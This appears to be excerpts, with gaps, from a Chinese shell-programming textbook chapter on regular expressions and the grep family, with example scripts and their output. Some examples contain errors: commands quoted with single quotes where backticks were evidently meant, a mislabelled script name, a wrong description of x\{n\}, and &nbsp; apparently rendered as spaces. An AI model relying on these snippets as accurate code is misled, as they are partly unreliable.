    {"text": "所以，表达式“^$”的涵义是匹配所有的空行，行中没有任何字符，包括空白字符。 而下面的两种情况： ^ 和 $ 则没有任何应用意义，因为任何一个文本行都有开头和结尾，所以上面两个表达式匹配所有的行，包括表达式“^$”所表示的空行。"},
    {"text": "【 例8-4 】演示圆点符号的用法，代码如下： 01 #-----------------------------/chapter8/ex8-4.sh------------------ 02 #! /bin/bash 03 04 # 列出所有的包含字符串“ samba ”的文件名 05 str='ls /etc | grep \"samba\"' 06 07 echo \"$str\" 08 09 echo \"===============================\" 10 11 # 列出包含字符串 samba 以及另外一个字符的文件名 12 str='ls /etc | grep \"samba.\"' 13 14 echo \"$str\" 在上面的代码中，一共输出了两次文件名。"},
    {"text": "其中第5行直接使用字符串“samba”去匹配文件名，这样的话，只要包含这个字符串的文件名都会被筛选出来，无论这个字符串的后面有没有其他字符。"},
    {"text": "该程序的执行结果如下： [root@linux chapter8]# ./ex8-4.sh samba samba4 =============================== samba4 在上面的输出结果中，横线上面的是第一次的筛选结果，可以发现在/etc目录下面有两个文件名都包含字符串“samba”。"},
    {"text": "注意： 可以连续使用圆点符号来匹配多个字符，例如“l..p”匹配含有1个字母“l”，然后是任意两个字符，再接着是一个字母“p”的字符串。"},
    {"text": "【 例8-5 】演示星号通配符的使用方法，代码如下： 01 #-----------------------------/chapter8/ex8-5.sh------------------ 02 #! /bin/bash 03 04 # 筛选出以字符 s 开头，紧跟着 1 个字符 s ，任意个字符 s 的文件名 05 str='ls /etc | grep \"^sss*\"' 06 07 echo \"$str\" 在上面的代码中，第5行的正则表达式为“^sss*”，这表示匹配以字符“s”开头，紧跟着1个字符“s”，接着是0个或者多个字符“s”的文本行。"},
    {"text": "该程序的执行结果如下： [root@linux chapter8]# ./ex8-5.sh ssh ssl sssd 在上面的执行结果中，第1行和第2行都是以字符“s”开头，紧接着是一个字符“s”，后面是0个字符“s”，因此符合正则表达式所描述的规则。"},
    {"text": "5．字符集匹配“[]” 方括号“[]”的功能比较特殊，它是用来指定一个字符集合的，其基本语法为： [abc] 其中a、b和c表示任意的单个字符。 只要某个字符串在方括号所在的位置上出现了方括号中的任意一个字符，就都满足匹配规则。 另外，对于连续的数字或者字母，可以使用连字符“-”来表示一个范围，例如“[a-f]”表示匹配字母表中a到f中的任意一个字母，而“[0-9]”表示匹配任意单个数字。 【 例8-6 】演示方括号的使用方法，代码如下： 01 #-----------------------------/chapter8/ex8-6.sh------------------ 02 #! /bin/bash 03 04 # 筛选所有以字符 r 开头，并且紧跟着 1 个字符 c 的文本行 05 str='ls /etc |grep \"^rc\"' 06 07 echo \"$str\" 08 09 echo \"==============================\" 10 11 # 筛选所有以字符 r 开头，紧跟着 1 个字符为 c ，下面 1 个字符为单个数字的文本行 12 str='ls /etc | grep \"^rc[0-9]\"' 13 14 echo \"$str\" 在上面的代码中，第5行的正则表达式表示匹配所有以字符“r”开头，紧跟着一个字符为“c”的文本行。"},
    {"text": "该程序的执行结果如下： [root@linux chapter8]# ./ex8-6.sh rc rc0.d rc1.d rc2.d rc3.d rc4.d rc5.d rc6.d rc.d rc.local rc.sysinit ============================== rc0.d rc1.d rc2.d rc3.d rc4.d rc5.d rc6.d 在上面的结果中，横线上面的是所有以字符串“rc”开头的文本行，而横线下面的是第3个字符为数字的文本行。"},
    {"text": "表8-1列出了基本正则表达式的其他元字符。 表8-1 其他的基本正则表达式元字符 元字符 说 明 举 例 \\(\\) 定义子表达式的开始和结束位置。"},
    {"text": "最多可以定义9个子表达式，通过\\1～\\9来引用 例如，正则表达式“\\(love\\).*\\1”表示匹配两个“love”中间包含任意个字符的文本行，其中“\\1”表示引用前面的“love” x\\{m, n\\} 区间表达式，匹配字符x重复的次数区间。 其中x\\{n\\}表示最多重复n次，x\\{m,\\}表示最少重复m次，x\\{m, n\\}表示重复m～n次 例如，正则表达式“a\\{2, 3\\}”表示字符“a”重复2～3次 \\< 词首定位符 “\\<hello”匹配含有以字符串“hello”开头的单词的文本行 \\> 词尾定位符 “hello\\>”匹配含有以字符串“hello”结尾的单词的文本行 8.2.3 扩展正则表达式 扩展正则表达式（Extended Regular Expression，ERE）支持比基本正则表达式更多的元字符，但是扩展正则表达式对有些基本正则表达式所支持的元字符并不支持。 8.2.2节中介绍的元字符“^”、“$”、“.”、“*”、“[]”，以及“[^]”这6个元字符在扩展正则表达式中都得到了支持，并且其意义和用法都完全相同，不再重复介绍。"},
    {"text": "1．限定符“+” 加号“+”的意义与限定符“*”基本相同，但是星号“*”限定前面的字符可以出现任意次，而加号“+”却限定前面的字符至少出现一次。"},
    {"text": "【 例8-7 】演示加号“+”的使用方法，代码如下： 01 #-----------------------------/chapter8/ex8-7.sh------------------ 02 #! /bin/bash 03 04 # 筛选以字符串“ ss ”开头，后面至少紧跟着 1 个字符“ s ”的文本行 05 str='ls /etc | egrep \"^sss+\"' 06 07 echo \"$str\" 从上面的代码可以看出，该例只是对【例8-5】进行了一点改动，将其中的星号“*”换成了加号“+”。"},
    {"text": "该例的执行结果如下： [root@linux chapter8]# ./ex8-7.sh sssd 对比【例8-5】和【例8-7】，可以发现在【例8-7】中，少了两个文本行“ssh”和“ssl”，这是因为这两个文本行只包含了两个字符“s”。"},
    {"text": "注意： 在介绍扩展正则表达式时，本书使用了egrep命令，而不是grep命令，这是因为grep命令使用的是基本正则表达式，而egrep命令默认使用扩展正则表达式。"},
    {"text": "【 例8-8 】演示问号通配符的使用方法，代码如下： 01 #-----------------------------/chapter8/ex8-8.sh------------------ 02 #! /bin/bash 03 04 # 筛选以字符串“ ss ”开头，后面跟着 0 或者 1 个 s 的文本行 05 str='ls /etc | egrep \"^sss?\"' 06 07 echo \"$str\" 该程序的执行结果如下： [root@linux chapter8]# ./ex8-8.sh ssh ssl sssd 可以发现，【例8-8】的执行结果与【例8-5】完全相同，这是因为在目录/etc中只包含不超过3个字符“s”的文件名，如果有超过3个字符“s”的文件名，则会在【例8-5】中出现，但是不会在【例8-8】中出现。"},
    {"text": "3．竖线“|”和圆括号“()” 竖线“|”表示多个正则表达式之间“或”的关系，其语法为： expression1|expression2|expression3|…|expressionn 圆括号“()”用来表示一组可选值的集合。 竖线和圆括号经常在一起使用，表示一组可选值。"},
    {"text": "【 例8-9 】演示圆括号和竖线的使用方法，代码如下： 01 #-----------------------------/chapter8/ex8-9.sh------------------ 02 #! /bin/bash 03 04 # 筛选含有字符串“ ssh ”、“ ssl ”或者以字符串“ yum ”开头的文本行 05 str='ls /etc | egrep \"(ssh|ssl|^yum)\"' 06 07 echo \"$str\" 在上面的代码中，第5行的正则表达式表示匹配正则表达式“ssh”、“ssl”或者“^yum”的文本行。 该程序的执行结果如下： [root@linux chapter8]# ./ex8-9.sh ssh ssl yum yum.conf yum.repos.d 在上面的输出结果中，第1行文本符合“ssh”，第2行文本符合“ssl”，第3～6行文本符合“^yum”。"},
    {"text": "这个表达式也可以使用竖线和圆括号来表达，如下： (a|b|c) 上面2个表达式是等价的。 另外下面3个表达式也是等价的： (Jeffrey|Jeffery) Jeff(rey|ery) Jeff(re|er)y 看了上面的这些例子，读者可能会觉得方括号“[]”和竖线结合圆括号这两种元字符之间没有太大的区别。"},
    {"text": "注意： 扩展正则表达式取消了子表达式“()”和次数匹配“{m,n}”语法符号的转义符引用语法，在使用这两种语法符号时，不再需要添加转义符。"},
    {"text": "【 例8-10 】演示符号“\\d”的使用方法，代码如下： 01 #-----------------------------/chapter8/ex8-10.sh------------------ 02 #! /bin/bash 03 04 # 筛选以字符串 rc 开头，紧跟着一个数字的问本行 05 str='ls /etc | grep -P \"^rc\\d\"' 06 07 echo \"$str\" 在上面的代码中，第5行使用正则表达式“^rc\\d”来筛选以字符“r”开头，紧跟着一个字符“c”，然后是一个0～9之间的任意数字的文本行。 该程序的执行结果如下： [root@linux chapter8]# ./ex8-10.sh rc0.d rc1.d rc2.d rc3.d rc4.d rc5.d rc6.d 2．非数字匹配\\D 符号“\\D”和符号“\\d”的作用恰好相反，后者是匹配一个0～9之间的单个数字字符，而前者则匹配一个非数字字符。"},
    {"text": "3．空白字符匹配\\s 符号“\\s”匹配任何空白字符，包括空格、制表符以及换页符等，等价于表达式“[\\f\\n\\r\\t\\v]”。 4．非空白字符匹配\\S 符号“\\S”匹配任何非空白字符，等价于表达式“[^\\f\\n\\r\\t\\v]”。"},
    {"text": "关于元字符集我们已经在前面分成基本正则表达式、扩展正则表达式和Perl正则表达式3个小节介绍过了，扩展正则表达式和Perl正则表达式都是在基本正则表达式的基础上加以扩展而形成的。 由于基本正则表达式产生的时间比较早，所以有些元字符比较繁琐，这些元字符在扩展正则表达式和Perl正则表达式中得到了改进。"},
    {"text": "在正则表达式中，普通字符集中的字符只表示它们的字面涵义，不对其他字符产生影响。 正则表达式的最简单的形式就是只由普通字符集中的字符组成，不包含元字符。"},
    {"text": "正则表达式的字符集通常使用方括号表达式表示，例如： [cC]hina [^hello] [a-zA-Z] [0123456789] [0-9] 第1个表达式表示匹配“china”或者“China”这2个字符串，第2个表达式表示不匹配“hello”这个字符串，第3个表达式表示匹配所有的大小写字母，第4个表达式表示匹配所有的个位数字，第5个表达式所表达的与第4个表达式等价，只是使用了连字符“-”来表示一段连续的数字。"},
    {"text": "表8-2 常用的POSIX字符类 字 符 类 说 明 [:alnum:] 匹配任意一个字母或者数字，等价于A-Za-z0-9 [:alpha:] 匹配任意一个字母，等价于A-Za-z [:digit:] 匹配任意一个数字，等价于0-9 [:lower:] 匹配任意一个小写字母，等价于a-z [:upper:] 匹配任意一个大写字母，等价于A-Z [:space:] 匹配任意一个空白字符，包括空格、制表符、换行符，以及分页符等 [:blank:] 匹配空格和制表符 [:graph:] 匹配任意一个看得见的可打印字符，不包括空白字符 [:print:] 匹配任何一个可以打印的字符，包括空白字符，但是不包括控制字符、字符串结束符'\\0'、EOF文件结束符（-1） [:cntrl:] 匹配任何一个控制字符，即ASCII字符集中的前32个字符，例如换行符、制表符等 [:punct:] 匹配任何一个标点符号，例如“[]”、“{}”或者“,”等 [:xdigit:] 匹配十六进制数字，即0-9、a-f，以及A-F 与其他普通字符一样，表8-2中列出的字符类也需要放在方括号中。"},
    {"text": "例如： [[:alnum:]] 等价于以下表达式： [a-zA-Z0-9] 8.3 正则表达式应用 本章前面的小节中详细介绍了正则表达式的基础知识。"},
    {"text": "在正则表达式中，可以用来匹配单个字符的表达式大致有4种，分别是单个一般字符、转义后的元字符、圆点“.”表达式，以及方括号表达式。"},
    {"text": "【 例8-11 】演示如何使用普通字符作为表达式来匹配单个字符，代码如下： 01 #-----------------------------/chapter8/ex8-11.sh------------------ 02 #! /bin/bash 03 04 # 搜索含有字符“ a ”的文本行 05 str='grep \"a\" demo2.txt' 06 07 echo \"$str\" 在上面的代码中，正则表达式比较简单，只有一个普通字符“a”，这个表达式表示匹配含有字符“a”的文本行。"},
    {"text": "该程序的执行结果如下： [root@linux chapter8]# ./ex8-11.sh the school report of the class is name score alice 89 从上面的执行结果可以得知，一共有3行含有字符“a”。"},
    {"text": "假设有一个名称为demo3.txt的文本文件，其内容如下： 01 No matter what you're looking for, our motto is \"keep it simple\" 02 Start by entering a basic name or word. 03 If you're looking for a place or product in a specific location, 04 enter the name along with the town or zip code. 上面的demo3.txt只有4行，其中，第2行和第4行都含有句号。"},
    {"text": "【 例8-12 】演示直接使用元字符圆点作为表达式，则会导致匹配结果出错，代码如下： 01 #-----------------------------/chapter8/ex8-12.sh------------------ 02 #! /bin/bash 03 04 str='grep \".\" demo3.txt' 05 06 echo \"$str\" 在上面的代码中，第4行直接使用了圆点“.”，没有经过转义。"},
    {"text": "该程序的执行结果如下： [root@linux chapter8]# ./ex8-12.sh No matter what you're looking for, our motto is \"keep it simple\" Start by entering a basic name or word. If you're looking for a place or product in a specific location, enter the name along with the town or zip code. 正因为Shell把其中的圆点看做一个元字符，所以【例8-12】把所有的文本行都输出了。 为了能够得到正确的结果，我们可以对【例8-12】进行修改，在圆点的前面加上转义字符，修改后的代码如下： 01 #! /bin/bash 02 03 str='grep \"\\.\" demo3.txt' 04 05 echo \"$str\" 该代码的执行结果如下： [root@linux chapter8]# ./ex8-12.sh Start by entering a basic name or word. enter the name along with the town or zip code. 可以发现，含有圆点的第2行和第4行都被输出了，而其他两行则没有被输出。"},
    {"text": "注意： 反斜线“\\”也是一个元字符，如果想要匹配反斜线，也需要在其前面加上转义字符，即表达式“\\\\”表示匹配一个反斜线。 3．圆点表达式 圆点“.”表示匹配任意单个字符，除了换行符之外。"},
    {"text": "4．方括号表达式 前面已经介绍过，方括号表达式用来表示一个可选字符的集合。 尽管通常情况下，在方括号中含有多个字符，但是一次只能从这些字符中选择一个，因此，方括号表达式仍然表示的是匹配单个字符。 例如，表达式“[abc]”就表示匹配字符“a”、“b”或者“c”中的任意一个。 同时，这种表示方法也是最简单的一种形式，也就是直接将所要匹配的字符都在方括号中罗列出来。"},
    {"text": "例如，所有的字母和数字，可以使用表达式“[[:alnum:]]”表示，等价于“[a-zA-Z0-9]”。 所有的数字可以使用表达式“[[:digit:]]”表示，等价于“[0-9]”。 所有的字母可以使用表达式“[[:alpha:]]”表示，等价于“[a-zA-Z]”。"},
    {"text": "注意： 当元字符位于方括号中时，除了极少的几个元字符，例如连字符“-”或者“^”之外，其他元字符都将失去其特殊意义，而只保留字面意义。"},
    {"text": "正则表达式可以使用多种方法来匹配多个字符，其中最简单的一种就是将多个字符按照指定的顺序拼接起来。 【 例8-13 】演示如何匹配一个由多个字符组成的字符串，代码如下： 01 #-----------------------------/chapter8/ex8-13.sh------------------ 02 #! /bin/bash 03 04 # 搜索字符串“ matter ” 05 str='grep \"matter\" demo3.txt' 06 07 echo \"$str\" 在上面的代码中，第5行的正则表达式为“matter”，这个表达式是由6个普通字符组成的一个单词，因此，这个表达式将匹配含有这个字符串的文本行。"},
    {"text": "该程序的执行结果如下： [root@linux chapter8]# ./ex8-13.sh No matter what you're looking for, our motto is \"keep it simple\" 可以发现，在上面输出的一行文本中，含有字符串“matter”。"},
    {"text": "【 例8-14 】演示如何将普通字符和方括号表达式混合起来使用，代码如下： 01 #-----------------------------/chapter8/ex8-15.sh------------------ 02 #! /bin/bash 03 04 # 匹配含有字符“ o ”，后面紧跟着字符“ r ”或者“ u ”的文本行 05 str='grep \"o[ru]\" demo3.txt' 06 07 echo \"$str\" 第5行的表达式表示匹配首先是一个字符“o”，紧接着是一个字符“r”或者“u”的文本行。"},
    {"text": "该程序的执行结果如下： [root@linux chapter8]# ./ex8-14.sh No matter what you're looking for, our motto is \"keep it simple\" Start by entering a basic name or word. If you're looking for a place or product in a specific location, enter the name along with the town or zip code. 从结果中可以得知，上面的每一行都含有字符串“or”或者“ou”。"},
    {"text": "其中星号可以在前面所讲的3种正则表达式中使用，而加号则不能在基本正则表达式中使用。 这两个元字符的区别在于星号表示匹配0个或者多个任意的字符，而加号表示匹配1个或者多个任意的字符。"},
    {"text": "【 例8-15 】使用星号来匹配多个字符“o”，代码如下： 01 #-----------------------------/chapter8/ex8-15.sh------------------ 02 #! /bin/bash 03 04 # 匹配任意多个字符“ o ” 05 str='grep \"lo*king\" demo3.txt' 06 07 echo \"$str\" 在上面的代码中，第5行的表达式将匹配字符串“lking”、“loking”、“looking”以及“loooking”等。 该程序的执行结果如下： [root@linux chapter8]# ./ex8-15.sh No matter what you're looking for, our motto is \"keep it simple\" If you're looking for a place or product in a specific location, 在本例中，由于没有字符“l”后面不跟字符“o”的字符串，所以将其中的星号换成加号也会得到同样的结果。"},
    {"text": "在基本正则表达式中，用户可以使用元字符“\\{m, n\\}”表示，而在扩展正则表达式和Perl正则表达式中，用户在使用前面的元字符时无需将花括号转义，直接使用“{m, n}”即可。"},
    {"text": "在中国，免费电话号码的前缀是800，其格式通常如下： 800-xxx-xxxx 其中，前面3位是固定的，后面的6位都是数字，通常使用连字符将其分割开来。"},
    {"text": "假设存在一个名称为demo4.txt的文本文件，其内容如下： Intel:800-820-1100 Abit:800-820-0323 Asus:800-820-6655 Sony:800-810-2228 HP:8008100716 IBM:800-810-1818# 可以得知，每一行都是一个800免费电话号码，其中，有些电话号码的格式并不符合上面的格式。"},
    {"text": "【 例8-16 】演示如何通过正则表达式来筛选符合指定格式的电话号码，代码如下： 01 #-----------------------------/chapter8/ex8-16.sh------------------ 02 #! /bin/bash 03 04 # 筛选符合格式的电话号码 05 str='egrep \"800-[[:digit:]]{3}-[[:digit:]]{4}$\" demo4.txt' 06 07 echo \"$str\" 在上面的代码中，第5行的正则表达式的前面4个字符都是固定的普通字符，所以可以用普通字符来表达；"},
    {"text": "该程序的执行结果如下： [root@linux chapter8]# ./ex8-16.sh Intel:800-820-1100 Abit:800-820-0323 Asus:800-820-6655 Sony:800-810-2228 从上面的执行结果可以发现，demo4.txt文件中不符合格式要求的最后两个电话号码被过滤掉了。"},
    {"text": "一共有两个定位符，分别为行首定位符“^”和行尾定位符“$”。 前者用来匹配文本行的开头字符，后者用来匹配文本行的结尾字符。 如果行首定位符和行尾定位符一起使用，则这两个符号之间的表达式就匹配整个字符串或者文本行。 如果“^”符号后面紧跟着“$”符号，即“^$”，则表示一个空行。"},
    {"text": "假设存在一个名称为demo5.txt的文本文件，其内容如下： 020-85222213 86754234 800-820-1100 8008100716 abc123 98-3876 在上面的内容中，有些行是以3个数字开头，有些行是以其他字符开头，有些行是以两个数字开头。"},
    {"text": "【 例8-17 】演示如何使用行首定位符筛选数据行，代码如下： 01 #-----------------------------/chapter8/ex8-17.sh------------------ 02 #! /bin/bash 03 04 # 筛选以 3 个数字开头的文本行 05 str='egrep \"^[[:digit:]]{3}\" demo5.txt' 06 07 echo \"$str\" 在上面的代码中，第5行的表达式使用了egrep命令，其中^[[:digit:]]{3}表示以任意3个数字开头，当然也可以写做^[0-9]{3}。"},
    {"text": "该程序的执行结果如下： [root@linux chapter8]# ./ex8-17.sh 020-85222213 86754234 800-820-1100 8008100716 从上面的结果可以得知，demo5.txt文件中以两个数字，以及以字母开头的行已经被过滤掉。"},
    {"text": "如果想要匹配以4个数字结尾的文本行，则可以使用行尾定位符，如下面的例子所示。 【 例8-18 】演示行尾定位符的使用方法，代码如下： 01 #-----------------------------/chapter8/ex8-18.sh------------------ 02 #! /bin/bash 03 04 # 筛选以 4 个数字结尾的文本行 05 str='egrep \"[[:digit:]]{4}$\" demo5.txt' 06 07 echo \"$str\" 上面代码中第5行的表达式[[:digit:]]{4}$表示以4个数字结尾的文本行。"},
    {"text": "该程序的执行结果如下： [root@linux chapter8]# ./ex8-18.sh 020-85222213 86754234 800-820-1100 8008100716 98-3876 8.3.4 运算符优先级 正则表达式按照从左到右的顺序进行计算，并且遵循一定的优先级，这一点与算术表达式非常相似。"},
    {"text": "表8-3 正则表达式运算符优先级 运 算 符 说 明 \\ 转义符 [] 方括号表达式 () 分组 *、+、?、{m}、{m,}、{m, n} 限定符 普通字符 按照从左到右的顺序 ^、$ 定位符 | 或运算 在表8-3列出的运算符中，有些在基本正则表达式没有或者有不同的表示方法。"},
    {"text": "在表达式^[[:digit:]]{3}中，由于方括号的优先级最高，所以先计算方括号表达式，得到匹配数字的结果，接下来是计算限定符，得到了3个数字的结果，最后计算定位符，得到以3个数字开头的结果。"},
    {"text": "例如，在进行网页设计的时候，开发者经常会使用空格来实现页面中文本的对齐，而在HTML语言中，空格是使用&nbsp;表示的，这6个字符连在一起表示一个HTML文档中的空格符。"},
    {"text": "下面的代码是一个HTML文档的一个片段： 01 <div class=\" kd-appbar\" ><div id='notify-box'>&nbsp;;&nbsp;; <span class=\" notify\" > 02 <span id=\" notify-text\" >&nbsp;&nbsp;</span></span></div> 03 <div class=\" kd-appname-wrapper\" >&nbsp;&nbsp; 04 <div class=\" goog-inline-block kd-appname\" id=\"app-name\">News 05 <div class=\" goog-inline-block goog-flat-menu-button-dropdown\" > &nbsp;</div></div></div> 在上面的代码中，第1行含有2个不连续的空格符，这2个空格符之间有1个分号。"},
    {"text": "【 例8-19 】通过正则表达式定位所有的2个连续的HTML空格符，代码如下： 01 #-----------------------------/chapter8/ex8-19.sh------------------ 02 #! /bin/bash 03 04 str='egrep \" {2}\" html.txt' 05 echo \"$str\" 在上面的代码中，第4行表达式为&nbsp;{2}，用户试图使用该表达式来匹配两个连续的&nbsp;。"},
    {"text": "该程序的执行结果如下： [root@linux chapter8]# ./ex8-19.sh <div class=\"kd-appbar\"><div id='notify-box'> ; ;<span class=\"notify\"> 从上面的执行结果可以发现，程序并没有输出用户希望得到的结果，而是输出了含有两个不连续的空格符的文本行。"},
    {"text": "根据前面的介绍，限定符仅仅作用于其前置字符，在表达式&nbsp;{2}中，限定符{2}仅仅作用于字符;，因此，这个表达式的意思是匹配字符串&nbsp;后面跟着两个分号的文本行，这个意思与用户的真实意图有着明显的区别。"},
    {"text": "所谓子表达式，是指由多个普通字符或者元字符组成的一个小的正则表达式。 与正则表达式一样，子表达式本身也是一个完整的表达式，但是在使用时，子表达式是作为一个大的正则表达式的一部分来使用的，而不是单独使用。 在正则表达式中，子表达式作为一个整体来看待。"},
    {"text": "对于【例8-19】，用户可以使用子表达式来解决匹配的问题，修改后的代码如下： 01 #! /bin/bash 02 03 str='egrep \"( ){2}\" html.txt' 04 echo \"$str\" 在上面的代码中，第3行使用圆括号将空格符&nbsp;括起来，形成一个子表达式，这样的话，就被看做一个整体，后面的限定符{2}的作用对象就是这个子表达式。"},
    {"text": "修改后的程序的执行结果如下： [root@linux chapter8]# ./ex8-19.sh <span id=\"notify-text\"> </span></span></div> <div class=\"kd-appname-wrapper\"> 可以发现，引入子表达式后，程序输出了正确的匹配结果。"},
    {"text": "假设存在一个存储IP地址的文本文件，名称为ip.txt，其内容如下： 01 202.116.3.2 02 3.4.2 03 10.0.0.1 04 255.255.255.255.0 05 256.45.2.1 在上面的代码中每一行描述了一个IP地址，其中第1行和第3行的IP地址是正确的，而其他的IP地址则是错误的。"},
    {"text": "【 例8-20 】演示通过正则表达式匹配IP地址的方法，代码如下： 01 #-----------------------------/chapter8/ex8-20.sh------------------ 02 #! /bin/bash 03 04 # 匹配 IP 地址 05 str='egrep \"^([[:digit:]]{1,3}\\.){3}[[:digit:]]{1,3}$\" ip.txt' 06 07 echo \"$str\" 第5行的正则表达式为^([[:digit;]]{1,3}\\.){3}([[:digit:]]{1,3}$)，其中[[:digit:]]{1,3}\\.是一个子表达式，表示匹配1～3个数字，然后是一个圆点。"},
    {"text": "该程序的执行结果如下： [root@linux chapter8]# ./ex8-20.sh 202.116.3.2 10.0.0.1 256.45.2.1 从上面的执行结果可以发现，前面两行的代码是正确的IP地址，而第3行的代码却是一个错误的IP地址。"},
    {"text": "之所以会输出这个错误的IP地址，是因为【例8-20】中的正则表达式并没有严格规定每一组数组的范围，从而导致了每一组中的数字的范围超出了255。"},
    {"text": "为了改进IP地址的匹配规则，用户需要对【例8-20】的表达式进行改进，使其对每一组数字进行更加精确地限制。 【 例8-21 】通过正则表达式分别对IP地址的3组数字给出明确的匹配规则，代码如下： 01 #-----------------------------/chapter8/ex8-21.sh------------------ 02 #! /bin/bash 03 04 # 匹配正确 IP 地址 05 str='egrep \"^([0-9]{1,2}|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.([0-9] {1,2}|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.([0-9]{1,2}|1[0-9]{2}|2[0-4] [0-9]|25[0-5])\\.([0-9]{1,2}|1[0-9]{2}|2[0-4][0-9]|25[0-5])$\" ip.txt' 06 07 echo \"$str\" 第5行的表达式比较复杂，下面对其进行简单地分析。 为了能够准确地表达IP地址的规则，用户可以进一步分析IP地址的每一组的数字的特征，将每一组数字都分为4段，分别为0～99、100～199、200～249，以及250～255，可用子表达式[0-9]{1,2}|1[0-9]{2}|2 [0-4][0-9]|25[0-5]来表达。"},
    {"text": "其中[0-9]{1,2}表示0～99，1[0-9]{2}表示100～199，2[0-4][0-9]表示200～249，25[0-5]表示250～255。"},
    {"text": "该程序的执行结果如下： [root@linux chapter8]# ./ex8-21.sh 202.116.3.2 10.0.0.1 注意： 出于便于阅读的目的，有些用户习惯使用圆括号来将表达式进行分组，不管是否需要。"},
    {"text": "8.3.6 通配符 有一点必须明确，那就是Shell本身并不支持正则表达式，使用正则表达式的是一些Shell命令和工具，例如grep、awk以及sed等。 但是，Shell使用了正则表达式中的某些元字符作为其通配符，常用的有*、?、[]、{}以及^等。 这些字符在Shell中的意义与在正则表达式中的意义有些区别，例如*表示匹配任意的字符，而非正则表达式中的限制其前导字符的0次或者多次重复。"},
    {"text": "如果用户想要列出以ex开头的当前目录中所有的文件，可以使用以下命令： [root@linux chapter8]# ls -l ex* -rwxr-xr-x 1 root root 60 Feb 15 01:15 ex8-10.sh -rwxr-xr-x 1 root root 52 Feb 17 23:53 ex8-11.sh -rwxr-xr-x 1 root root 53 Feb 18 00:32 ex8-12.sh -rwxr-xr-x 1 root root 57 Feb 18 17:56 ex8-13.sh … 在上面的命令中，ex*表示匹配以字符串ex开头的所有的文件名。 如果想要列出以字符d或者e开头的文件名，则可以使用方括号将这些字符列出来，如下： [root@linux chapter8]# ls -l [de]* -rw-r--r-- 1 root root 63 Feb 13 19:21 demo2.txt -rw-r--r-- 1 root root 221 Feb 18 00:17 demo3.txt -rw-r--r-- 1 root root 105 Feb 19 01:22 demo4.txt … -rwxr-xr-x 1 root root 60 Feb 15 01:15 ex8-10.sh -rwxr-xr-x 1 root root 52 Feb 17 23:53 ex8-11.sh … 在某些情况下，文件名是按照字母或者数字顺序来编号的，在这种情况下，用户可以使用连字符来表示一个范围，这与正则表达式中的表达方法是一致的，如下： [root@linux chapter8]# ls -l ex8-[1-9].sh -rwxr-xr-x 1 root root 57 Feb 13 19:05 ex8-1.sh -rwxr-xr-x 1 root root 53 Feb 14 11:31 ex8-2.sh -rwxr-xr-x 1 root root 59 Feb 14 14:43 ex8-3.sh -rwxr-xr-x 1 root root 142 Feb 14 15:28 ex8-4.sh -rwxr-xr-x 1 root root 56 Feb 14 15:54 ex8-5.sh -rwxr-xr-x 1 root root 138 Feb 14 17:00 ex8-6.sh -rwxr-xr-x 1 root root 57 Feb 14 17:47 ex8-7.sh -rwxr-xr-x 1 root root 57 Feb 14 18:11 ex8-8.sh -rwxr-xr-x 1 root root 67 Feb 14 18:51 ex8-9.sh 上面的命令表示列出以ex8-开头，然后是编号1～9，接着是.sh的文件名。"},
    {"text": "表8-4 常用的grep命令选项 选项 说 明 -c 只打印匹配的文本行的行数，不显示匹配的内容 -i 匹配时忽略字母的大小写 -h 当搜索多个文件时，不显示匹配文件名前缀 -l 只列出含有匹配的文本行的文件的文件名，而不显示具体的匹配的内容 -n 列出所有的匹配的文本行，并显示行号 -s 不显示关于不存在或者无法读取文件的错误信息 -v 只显示不匹配的文本行 -w 匹配整个单词 -x 匹配整个文本行 -r 递归搜索，不仅搜索当前目录，还要搜索其各级子目录 -q 禁止输出任何匹配结果，而是以退出状态码的形式表示搜索是否成功，其中0表示找到了匹配的文本行 -b 打印匹配的文本行到文件头的偏移量，以字节为单位 -E 支持扩展正则表达式 -P 支持Perl正则表达式 -F 不支持正则表达式，将模式按字面意义匹配 grep命令的模式非常灵活，可以是字符串，也可以是变量，还可以是正则表达式。"},
    {"text": "例如，下面的命令将搜索名称为demo3.txt文件中是否含有字符串simple的文本行，命令如下： [root@linux chapter8]# grep simple demo3.txt No matter what you're looking for, our motto is \"keep it simple\" 从上面的输出结果可以得知demo3.txt文件有一行含有指定的模式simple。 如果只想统计含有某个模式的行数，则可以使用-c选项，如下： [root@linux chapter8]# grep -c simple demo3.txt 1 从上面的输出结果可以得知，含有模式simple的文本行只有一行。"},
    {"text": "8.4.2 grep命令族简介 随着UNIX的发展，grep命令也在不断地完善。 到目前为止，grep命令族已经包括grep、egrep以及fgrep等3个命令。"},
    {"text": "在fgrep命令中，所有的字母都看做单词，也就是说，在fgrep命令中，所有的正则表达式中的元字符都将作为一般字符，仅仅拥有其字面意义，不再拥有特殊意义。"},
    {"text": "8.5 小结 本章详细介绍了Shell正则表达式的相关知识，包括什么是正则表达式、正则表达式的基础知识、正则表达式的具体应用，以及grep命令族。"},
    {"text": "重点在于掌握基本正则表达式、扩展正则表达式及Perl正则表达式的元字符及使用方法、正则表达式的字符集、如何匹配单个字符、如何匹配多个字符、定位符的使用方法，以及子表达式等。"},
    {"text": "在Linux中，所有的一切都是文件，而与普通用户关系最密切的，就是文本文件。 同时，文本处理也成为Shell程序设计中很重要的一部分，Linux系统中许多程序的相互协作都是通过文本文件来实现的。 本章将介绍如何在Shell程序中对文本进行处理。"},
    {"text": "使用paste命令拼接文本行：主要介绍paste命令的基本语法，以及如何根据用户需求来并行拼接多个文件的列。 使用join命令联接文本行：主要介绍joint命令的基本语法，以及使用不同的方法来联接两个文本文件。"},
    {"text": "echo命令的基本语法如下： echo [options] string… 在上面的语法中，options表示命令选项。 echo命令常用选项比较少，只有一个-n，该选项表示不输出行尾的换行符。 在默认情况下，每执行一次echo命令，都会在输出信息的行尾加上一个换行符。"},
    {"text": "【 例9-1 】演示如何使用echo命令输出用户提示信息，代码如下： 01 #-----------------------------/chapter9/ex-1.sh------------------ 02 echo -n \"What is your first name? \" 03 read first 04 echo -n \"What is your last name? \" 05 read last 06 echo -n \"What is your middle name? \" 07 read middle 08 echo -n \"What is your birthday? \" 09 read birthday 在上面的代码中，每个echo语句都提示用户输入一条信息，然后使用read语句读取用户输入的数据。"},
